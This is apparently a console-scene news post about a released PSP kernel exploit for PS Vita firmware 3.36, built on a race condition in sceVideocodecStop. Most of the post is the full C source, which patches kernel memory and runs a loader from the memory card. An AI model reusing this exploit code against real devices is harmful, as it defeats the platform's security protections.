A few days ago, Qwikrazor87 released the source code for his PSP Kernel exploit running on Vita Firmware 3.36.
Although the release will probably be of no interest for most end users, for those of you with a bit of PSP programming knowledge, or interested in hacking, this is always cool bits of information.
The exploit uses a vulnerability in function sceVideocodecStop. Qwikrazor had hinted at this vulnerability back in January:
props to anyone that can exploit sceVideocodecStop on 3.30+ (which will then allow the other “patched” exploits to work) ![:D]()
— qwikrazor87 (@qwikrazor87) January 29, 2015
The vulnerability involves filling a video buffer with specific content, and seems to rely on some race condition where the content of the buffer gets modified in a separate thread while sceVideoCodecStop is being called.
Too advanced for me, especially with no direct access to the actual implementation of sceVideoCodecStop, but it’s always interesting to look at.
#include u32 sceMeCodecWrapper = 0x88136800, sw_address = 0; int is_exploited = 0, running = 1; u32 a0[24]; int storethread() { while (running == 1) { a0[11] = sw_address; sceKernelDelayThread(1); } sceKernelExitThread(0); } void KernelContent() { is_exploited = 1; __asm("move $k1, $0;"); //"restore" me_wrapper mutex UID SceUID (* _sceKernelCreateMutex)(const char *name, u32 attr, int init_count, void *options) = \ (void *)FindExport("sceThreadManager", "ThreadManForUser", 0xB7D098C6); SceUID mutex = _sceKernelCreateMutex("SceKermitMe", 256, 0, NULL); _sw(mutex, sceMeCodecWrapper + 0x2F80); //sceKernelLibcTime - pass address of kernel function in first arg, restored later in ARK code. |: _sw(0x00800008, 0x8800F9C4); //jr $a0 _sw(0, 0x8800F9C8); //nop void (* _sceKernelDcacheWritebackInvalidateAll)(void) = (void *)0x88000744; void (* _sceKernelIcacheInvalidateAll)(void) = (void *)0x88000E98; _sceKernelDcacheWritebackInvalidateAll(); _sceKernelIcacheInvalidateAll(); } void do_exploit() { is_exploited = 0; running = 1; sw_address = (sceMeCodecWrapper + 0x2F80) - 36; SceUID thid = sceKernelCreateThread("thid", storethread, 8, 512, THREAD_ATTR_USER, NULL); sceKernelStartThread(thid, 0, NULL); sceUtilityLoadModule(0x300); sceUtilityLoadModule(0x303); int (* sceVideocodecStop)(u32 *a0, int a1) = (void *)FindImport("sceVideocodec", 0xA2F0564E, 0); memset(a0, 0, sizeof(a0)); a0[0] = 0x05100601; a0[15] = 1; int i; while (a0[2] != 0x800201C3) { a0[15] = 1; a0[3] = 0x09000000; a0[4] = 0x09000000; a0[2] = 0; a0[11] = 0x09000000; sceVideocodecStop(a0, 0); } fillvram(-1); sw_address = 0x8800F9C4 - 36; int (* _sceKernelLibcTime)(u32, u32) = (void *)sceKernelLibcTime; while (is_exploited != 1) { a0[15] = 1; a0[11] = 0x09000000; a0[3] = 0x09000000; a0[4] = 0x09000000; sceVideocodecStop(a0, 0); sceKernelDcacheWritebackAll(); _sceKernelLibcTime(0x08800000, ((u32)&KernelContent | 0x80000000)); } fillvram(0xFF00); running = 0; u8 buf[0x4000]; SceUID fd = sceIoOpen("ms0:/PSP/SAVEDATA/NPUG80320KEXPLOIT/ARK.BIN", PSP_O_RDONLY, 0777); sceIoRead(fd, buf, sizeof(buf)); sceIoClose(fd); memcpy((void *)0x10000, buf, sizeof(buf)); sceKernelDcacheWritebackAll(); void (* Start)(const char *) = (void *)0x10000; Start("ms0:/PSP/SAVEDATA/NPUG80320KEXPLOIT/"); } void _start() __attribute__ ((section (".text.start"))); void _start() { fillvram(0x80808080); do_exploit(); sceKernelExitGame(); }
source: Qwikrazor87